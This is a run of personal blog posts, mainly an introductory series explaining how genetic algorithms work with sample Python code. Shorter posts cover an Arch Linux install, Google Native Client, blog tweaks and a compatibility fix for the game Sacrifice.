If we'd used a bit-representation, or other workarounds, this would've worked better. For example use another check: if there is no change in the population members: do treshold := treshold - 1. Still, it's good enough to show the workings of the algorithm.

In conclusion, CHC performs very well with only a very limited population size, even in problems where local maxima are common.

If you want to download the source code used in this post, you can find it here.

-----

Table Of Contents (click a link to jump to that post)

1. Introduction

2. Genetic Algorithms

3. CHC Eshelman

4. Simulated Annealing

5. Ant Colony Optimization

6. Tabu Search

7. Conclusion

Modern Genetic (And Other) Algorithms Explained: Part 2 - Genetic Algorithms

2009-01-10T17:08:00.005+01:00

(This is part 2 in the Modern Genetic Algorithms Explained series, click here to go to the first post, or browse through all the parts with the Table Of Contents at the end of this post.)

Let's take another look at the blog post on which we will base ourselves on. A general genetic algorithms can be described as follows:

Construct initial population
Repeat until time limit hit or satisfiable solution found:
  Assign a fitness score to each individual
  Use a selection method to pick individuals for reproduction
  Construct a new population, using a crossover method
  Use a mutation method to mutate the new population

There are still a lot of gaps to fill in: how large should the population be, how do we construct individuals, which fitness function do we use, which selection methods are available, how do we evolute the population, should we mutate, and how?

Population and Individuals: Encoding and Construction
Let's start with the population: if the population count is too low, there will not be enough diversity between the individuals to find an optimal or good solution. If the count is too high, the algorithm will execute slower, conversion to a solution might become slower as well. There is no 'golden rule' to find an optimal number.

How do we construct individuals? Certainly a simple (and popular choice) is the bit-representation:

0110 0111 0001 1011 ...

When evaluation the individuals, those bits are converted in something meaningful, be it numbers, strings, or other symbols, depending on the problem.

If we had used this representation, an individual for the problem described in the article (find x numbers each between a and b so that the summation of those numbers equal z) would look like this (e.g. x = 4):

01100111 01000101 11010101 11010111

Which would represent 4 numbers between zero and 255: 103+69+213+215. Also notice that our individuals have a fixed-length. Variable-length is a bit more complex, but also possible, and sometimes needed.

What do we do if the number lies out of the permitted bounds? We could:
(1) Avoid that situation by making sure we never generate an individual with a number < a or > b.
(2) Permit those individuals, but assign a very low fitness score to them. In the article, the score is calculated as the absolute difference between the sum of the individual's numbers and the target value. So a score zero (0) means perfect fitness: a valid solution. In this case, invalid individuals would get a score of 1000, for example. Or even better, we evaluate it normally, but then add a "penalty". E.g. the absolute difference between the bounds and the numbers times two.
Why would we use (2)? In some cases it is too difficult or too time-consuming to check every individual to see if it is valid, before putting it in the population pool. Also: permitting invalid individuals might still be useful. They can introduce more variety in the population, and their valid parts can still be used to create offspring.

Why would we use this representation? As we will see in the following steps, a crossover between two individuals will happen to create new offspring, with a bit representation, the crossover point can be placed at any point:

v 01100111 010 | 00101 11010101 11010111 01101111 000 | 00100 10010111 10011100

When we use a list of integers, we place the crossover point between two numbers, this is different from the previous example, where the crossover point could be arbitrarily placed "in the middle of a number":

v 103 | 69 , 213 , 215 13 | 22 , 123 , 76

Bit-representation is thus often used when it is not clear how to place the crossover point, but when we do know a way to "convert" a solution to a bitstring. However, always watch out. Some representations become too sensitive to "random" tinkering with bits, making them quickly invalid. In our case: using a bit-representation would be permitted (changing a random bit still creates four integers), but in other cases this method becomes infeasible.

Selection
Good, we now have constructed an initial population, containing, say 100, individuals. We also have a fitness function to assign a score to each of them. Lower is better, 0 being a perfect solution.

How do we pick individuals to use to create offspring? We'll need two individuals (a father and a mother). A first way (1) to choose them might be: just pick them at random. Of course, it is ease to see that this is a bad way of choosing parents. There has to be a relation between the fitness and the selection, so that better offspring can be created. When we choose parents at random, bad parents have an equal chance of producing children than fitter parents. (This is against the 'survival of the fittest'-idea, on which genetic algorithms are based on.)

In the article, a second (2) method is used:

Pick the n-best individuals from our current population
Pick two different random individuals from those n-best
Use those as parents for a child

This is certainly a better option, but this way, we completely abandon the lower scoring individuals. It is always better to give even the worst individuals a little chance to be a parent, to maintain a higher level of possible diversity.

With that remark in mind, we arrive at a third (3) solution, the roulette-wheel selection method: the chance of each individual to be selected becomes: fitness of that indivual / total of fitness scores of every individual in the population. For example, consider the following population of five individuals, ordered by their score (let's say that higher is better).

i3: 9 i2: 7 i5: 6 i4: 3 i1: 1 Total: 26

Now pick a random value between zero and 26. Let's say 8: 8 > 1, continue; 8 > 1 + 3, continue; 8 > 1 + 3 + 6, we pick i5. It's easy to see where the name "roulette selection" comes from.

Another selection method (4) is called tournament selection:

Choose k (the tournament size) individuals from the population at random
  Choose the best individual from pool/tournament with probability p
  Choose the second best individual with probability p*(1-p)
  Choose the third best individual with probability p*((1-p)^2)
  ...

Note that p can be = 1. Then the best out of k individuals is chosen, this is fairly common. For k, often 2, 3, or 4 is used. This is an often-used method because it is easy to implement, and can be used in parallel environments. Note that when p = 1, k = 1 this method essentially becomes a pure random selection.

Crossover
Now that we know how to select two parents, how do we create children? Again, there are many techniques here. The first one (1) is the one-point crossover (simple crossover). I will illustrate the following examples with bit-represented individuals.

v 0000 0000 0000 0000 | 0000 0000 1111 1111 1111 1111 | 1111 1111 Creates two children: v 0000 0000 0000 0000 | 1111 1111 1111 1111 1111 1111 | 0000 0000

The crossover point can be randomly chosen, or can be a fixed location (1/4, 1/3, 1/2 are commonly used). After the crossover point, two children are created by swapping their bits.

The second (2) crossover method is two-point crossover, and looks a lot like the previous method:

v v 0000 | 0000 0000 0000 | 0000 0000 1111 | 1111 1111 1111 | 1111 1111 Creates two children: v v 0000 | 1111 1111 1111 | 0000 0000 1111 | 0000 0000 0000 | 1111 1111

Again: it's swap - and swap.

Cut and splice (3) is another one, and is only interesting when you need variable-length individuals. I will skip the description, it's in the Wikipedia page (all sources are mentioned at the end of this post).

UX (Uniform Crossover) (4) is a bit more interesting:

1111 1111 1111 0000 0000 0000 1111 1111 1111 1111 1111 1111 Creates two children: 1111 1111 1111 0010 1101 0100 1111 1111 1111 1101 0010 1011

It works as such: every bit has a 0.5% chance of swapping. Of course, if both parents have a bit 0 or 1, it stays 0 or 1.

HUX (Half Uniform Crossover) (5) swaps exactly half of the non-matching bits. So pick N/2 bits out of N non-matching bits, and swap them.

In our reference article, a single fixed crossover point is used, placed in the middle.

Mutation
Now that that's out of the way, there is only one aspect to look at: mutation. This phase makes sure that there is enough randomness and diversity in the population. Again, there are different options.

First (1) of all: no mutation. For example when their is enough diversity by using smart selection and crossover methods, or when the optimization problem is as such that there are no local maxima (more about that a bit later).

A second (2) method: take N individuals out of our population, and change each of their bits/values with a P chance. Often: N is equal to the complete population size, with P a very small value. Or:

(3) Take N individuals, pick K bits/values in every individual, and change those bits/values. Again: N is often equal to the complete population, and K also low (one for example). This is the method used in the article.

Sometimes, also the following additional (4) method is used: create offspring equal to (P-N), with P being to population size and 0<=N<=P, then add N random individuals. When this method is used, often values like N=P/5 to P/10 are used.

In Action
That's it, we're done! Let's see a few action examples of genetic algorithms.

A problem involves: given a constrained plane and a few randomly placed circles, how can we place another circle so that the radius is maximal, without overlapping the other circles. You can download and try it for yourself here (all sites are also mentioned at the end of this post).

Before the evolution starts, the situation looks like this:

After only 61 generations, we are coming close to the optimum:

Another really cool example can be found here. Be sure to download the binary and test it for yourself:

This site implements a Travelling Salesman Solver with a GA Java applet:

Finally, using the code from the article:

import sys
  sys.path.append("C:\Users\Seppe\Desktop")
  from genetic import *
  target = 300
  p_count = 100
  i_length = 5
  i_min = 0
  i_max = 100
  p = population(p_count, i_length, i_min, i_max)
  fitness_history = [grade(p, target),]
  for i in xrange(100):
    p = evolve(p, target)
    fitness_history.append(grade(p, target))

  for datum in fitness_history:
    print datum

Outputs:

66.51
28.84
19.41
18.66
11.97
13.26
5.41
1.15
1.5
1.55
2.9
3.0
0.3
0.0
0.0
0.0
...

After 14 evolutions we already see a perfect population, not bad... Do note however that this is an extremely easy problem: there are many optimum solutions.

Remarks and Problems
Genetic Algorithms are not perfect, nor are they a silver bullet. When badly configured, genetic algorithms tend to expose the same flaws as stochastic hill climbing indeed: a tendency to converge towards local optima.

Consider the following function:

It's not hard to construct a GA which will tend toward the global maximum, even without mutation or introducing much diversity. Consider the following animation, with the green dots representing a few individuals:

However, when you consider the following function:

We might get lucky and end up with:

Notice that there is one individual tending towards the local maximum, but the others "pull" it towards the global one. However, the following could also happen:

To prevent these situations from happening, we have various options at our disposal:
(1) Choose sensible parameters. Population count, selection- crossover- and mutation-methods. Try to find a balance between enough diversity and fast convergence.
(2) Run the GA multiple times, take the best solution.
(3) If the population converges towards a certain solution, randomly regenerate the N worst members of the population and continue evolution (a similar technique could be used in the mutation stage).
(4) Use parallel solutions. A parallel genetic algorithm executes multiple populations at once, often on many computers (or a cluster). Often, there is an extra migration stage added, in which individuals migrate from one population to another.

Sources
Wow, what a lot of text! If you're interested in knowing more, check the following links:

The original article which inspired this text.
Wikipedia also has lots of information: Genetic algorithms, Selection (Roulette and Tournament), Crossover and Mutation.
An old tutorial on ai-junkie (but still useful). Back in the day, this was the first thing I read about genetic algorithms.
Another old website, made by Marek Obitko, still, the information contained is relevant and interesting. Also hosts the TSP Java applet.
This opendir contains university slides about emerging computing technologies. A032 talks about genetic algorithms. The slides are ugly as hell, but contain some good information! (There is a part about CHC Eshelman, which we will discuss in the next part in this series).
This Powerpoint file contains some information about CHC Eshelman as well. The file is not that interesting, but does contain a good example on crossover feasibility: sometimes our individuals are encoded as such that they can become invalid after each crossover. We must then "normalize" or correct parents or children to produce valid offspring. We mentioned this problem in the above post.
Evolution of Mona Lisa, check this!

There are a lot of software implementations around for genetic algorithms, most of them are written in C, C++ or FORTRAN77, but recently languages such as Java and Python are becoming more popular.

Check Wikipedia's External links for more tutorials and software libraries.

In the next section: we will explore a particular GA implementation: CHC by Eshelman.

-----

Table Of Contents (click a link to jump to that post)

1. Introduction

2. Genetic Algorithms

3. CHC Eshelman

4. Simulated Annealing

5. Ant Colony Optimization

6. Tabu Search

7. Conclusion

Modern Genetic (And Other) Algorithms Explained: Part 1 - Introduction

2009-01-07T16:49:00.003+01:00

A few days ago I saw this on reddit, linking to a well-written article about genetic algorithms (GA):

Genetic algorithms are a mysterious sounding technique in mysterious sounding field--artificial intelligence. This is the problem with naming things appropriately. When the field was labeled artificial intelligence, it meant using mathematics to artificially create the semblance of intelligence, but self-engrandizing researchers and Isaac Asimov redefined it as robots.

The name genetic algorithms does sound complex and has a faintly magical ring to it, but it turns out that they are one of the simplest and most-intuitive concepts you'll encounter in A.I.

If you're interested in GA's or modern optimization techniques in general, I strongly suggest you read it. The sample code in Python is fairly easy to read, even if you've never programmed in Python. On the reddit comment section, the following discussion was then started:

The nice thing about GAs is that they are so simple. [...] As soon as you step out of the specialized GA literature and into other fields where the authors just happen to choose a GA for their problem, it's more likely than not that they've chosen a poor implementation.

The problems that simple GAs work pretty well on tend to be the same as those that a simple hill climber would demolish the GA on. As soon as the problems get hard, the GA converges way too quickly to suboptimal solutions. [...]

Part of the problem is the GA community itself. For years, GAs were touted as "global optimizers". We haven't talked like that for several years now, but I still see references to people who seem to think that solving a problem is as simple as just throwing a GA at it.

Followed by a response:

Back in the look-ma-no-hands-period of AI, GAs converged too rapidly because they weren't tuned right: they used too much selection, too little mutation or other exploration mechanisms, too small of a population, etc. Since the field was unified with other evolutionary computation techniques in the early '90s, I don't think premature convergence has been a major impediment for almost 20 years now. Evolutionary computation techniques are pretty much the best available methods for much of stochastic search (and yes, I'm looking at you, simulated annealing). They're highly parallelizable, have good theory, and are representation-independent. Recent versions of them (notably ant colony optimization) are the gold standard for certain major tasks (like stochastic combinatorics problems).

As to tabu search: now there is a technique which has some real pathologies. Perhaps this wasn't the best example you could have chosen.

Interesting... I recommend reading the full discussion at the reddit page.

Since I've always been interested in genetic and other modern optimization techniques, I wanted to a little research. In this series of posts, I will try to explain:

Genetic Algorithms
A more specialized GA: CHC. Eshelman's algorithms, as mentioned in the reddit comments.
Simulated Annealing
Ant Colony Optimization
And: a comparison with Tabu search

I will mention pseudocode in each of the posts, and will also edit the original Python to use it with the other techniques.

First a disclaimer though: I'm not an expert, I'm not a specialized GA-programmer, neither a mathematician. Also: I'm fairly new at Python, but I thought this would be a good opportunity to toy around with some code, so please excuse my possibly poor programming. Still, that being said, I try my best to provide valid information and real results.

In part 2 I will discuss (general) Genetic Algorithms.

-----

Table Of Contents (click a link to jump to that post)

1. Introduction

2. Genetic Algorithms

3. CHC Eshelman

4. Simulated Annealing

5. Ant Colony Optimization

6. Tabu Search

7. Conclusion

Blog Updates!

2009-01-05T23:43:00.002+01:00

I've made some small tweaks to this blog:

Social widget added with latest Twitter status, and link to Friendfeed account. Completely clientsided with Javascript. Using twitter.js.
Was getting bored of the black theme, so I made a white one, made two css files and added a switcher - using this code . (You should be able to see it at the right-top of the page.)
Your choice is saved in a cookie and also Javascript-based (no other choice with Blogger).
The Bidvertiser ads still have a black background in the white theme, I'll look at that later (I might remove them anyway).

Trying Google's Native Client

2008-12-09T15:35:00.000+01:00

From Google Blogoscoped:

Google has released something to the open source world they call the Native Client. It is meant as a way for website developers to execute rich code faster within the browser... by having it run “natively” on the computer. This could help any program needing fast graphics; a web-based photo editor might be one of the use cases of this, Google explains. Right now, as a developer you’re usually picking Flash or Java for that purpose. Google describes their efforts:

Following the guide in Ubuntu worked remarkably well. The result:

Nice, Quake in a browser. Note that this won't work with any program, you'll need:

A Firefox plugin.
The Native Client runtime.
Special gcc compilation tools to compile your program to make it work with Native Client.

Still, this is a great idea, I'm curious which applications or tools (or games) this will spawn.

Trying Arch Linux

2008-12-07T00:09:00.000+01:00

I've been hearing some good things about Arch Linux lately, and I wanted to see how it compares to Ubuntu, which I've been using for a few years now. I loaded up a new VMWare virtual machine and mounted the iso. Let's see how this goes...

I'll be following directions from this wiki page. So that I'm not completely lost.

Boot menu comes up. Install? Okay. no graphical installer. We're going oldskool. Log in as root and run setup.
Installation steps aren't too hard to follow. Partition the hard disk, let's use JFS for the first time (why not).
Select packages, core packages are selected automatically, I press enter a few times, installation begins.
Time to configure the system *yuck*, configuration files. Editing /etc/rc.conf. Make sure that eth0="dhcp". All done.
Reboot. Login? Works. ping google.com? Works.
pacman is the package manager. pacman -Syu to sync and update. klibc is complaining: file exists. I check the forums. Turns out I have to do rm /usr/lib/klibc/include/asm. Minus one for user-friendliness.
Update works now. Time to add a user. useradd -m -G users,audio,lp,optical,storage,video,wheel,power -s /bin/bash archie. passwd archie.
pacman -S sudo (we want sudo). EDITOR=nano visudo. Add archie ALL=(ALL) ALL.
Install Alsa, works (seems like Arch isn't using pulseaudio in their tutorials/beginner's guide).
On to Xorg - installing lots of stuff. Xorg -configure should do the trick for the configuration. Copy example xinitrc to my home, add exec xterm. Test.
Mouse and keyboard aren't working. Let's try xorgconfig.
Even worse, xorgcfg? Nope, still nothing. Starting to miss Ubuntu.
Oops! I'm stupid, forgot to copy new config file to /etc/X11/xorg.conf...
... but still nothing. Forums again. Looks like someone else had this problem (also using VMWare). Install xf64-input-vmmouse, and execute hwd -x.
hwd generates wrong xorg.conf files. Remove the line with RgbPath.
Still nothing. Add Option "AllowEmptyInput" "false" to ServerLayout section.
Finally! X works, I'm learning stuff already, but still: again one minus point for friendliness (although the community seems nice, and the documentation is actually not bad for a fairly small distro).
Worst part is over, on to installing a desktop environment. Let's keep it simple and try Gnome.
First some fonts. I add ttf-liberation into the mix, glad to see it's there.
gnome, gnome-extra, gdm, downloading and installing. Takes a while.
/etc/rc.conf again: adding hal, fam and gdm to daemons, and fuse to modules.
Installing a bunch of gnome themes.
Installing vlc, firefox, flash, and some other things.
Login as user, edit xinit, exec gnome-session. And: startx!
Gnome pops up, clean background, very minimalistic. But fast indeed.

Screenshot:

Would I use it instead of Ubuntu for everyday tasks? Not at the moment.

Would I recommend it to novice friends and family? No.

Would I use it as a server? Perhaps.

Is it fast? Yes.

Would I use it on an outdated machine? Yes.

Does is show potential? Yes.

Sacrifice Revisited

2008-10-26T23:35:00.002+01:00

A while ago I posted on this blog how you could resolve the "Insufficient page file space" problem in Sacrifice. Since then a few people have emailed me, saying that the fix described in that post does not longer work. After trying various things with various people (thanks for all the help and input by the way), a solution was found.

Problem
The problem is that XP does not longer present GlobalMemoryStatusTrim when running QFixApp.

First the good news. If you have Vista, the game works out of the box. Not because Vista has better memory management or something like that, but because Vista comes with lots of Compatibility Profiles built-in. I've looked into these profiles to see which ones were used with Sacrifice, being:

1) GlobalMemoryStatusLie
2) GlobalMemoryStatus2GB (this replaces GlobalMemoryStatusTrim and is also available in QFixApp when running XP)

So the solution seems simple, enable GlobalMemoryStatusLie and GlobalMemoryStatus2GB, and try again. However, when trying this under XP SP3, almost everyone gets the following (new) error: "error while trying to initiate the application (0x000005)".

If you get this error, you now have the following options:
1) Upgrade to Vista (yuck);
2) You could disable virtual memory and/or use the /BURNMEMORY=N boot.ini-switch (adventurous and bad/ugly);
3) Use the solution below (clean and works).

Solution
It turns out there is a patch available over here which removes the memory-check from the game. This patch was created a while ago by Luigi Auriemma, but is still quite difficult to find. Follow the following steps to get your game working:

1) Download and extract Lame Patcher from here.
2) Download and save the Sacrifice .lpatch file from here (search for: "sacrifice" or direct link no hotlinking :( direct link is back thanks to a friendly e-mail from Luigi, the author - thanks!).
3) Open lpatch.exe.
4) The program will display a message asking you if you want to select a .dat or .lpatch file, choose "Yes".
5) Pick the sacrifice_pagefile.lpatch you have saved in step 2.
6) The program will display some information, press "OK".
7) Another file chooser dialog opens, locate your Sacrifice.exe and select it.

All done! You should be able to enjoy the game now.

One last thing. If you're too lazy to follow the steps above, or you don't have Sacrifice but would like to play this (and other old) games, then check out Good Old Games. They've just went into public beta and are offering MDK2, Giants: Citizen Kabuto and Sacrifice (for $5.99). They also offer support, so your game'll probably work without complaining out of the box it seems they provide the Virtual Memory tip as well.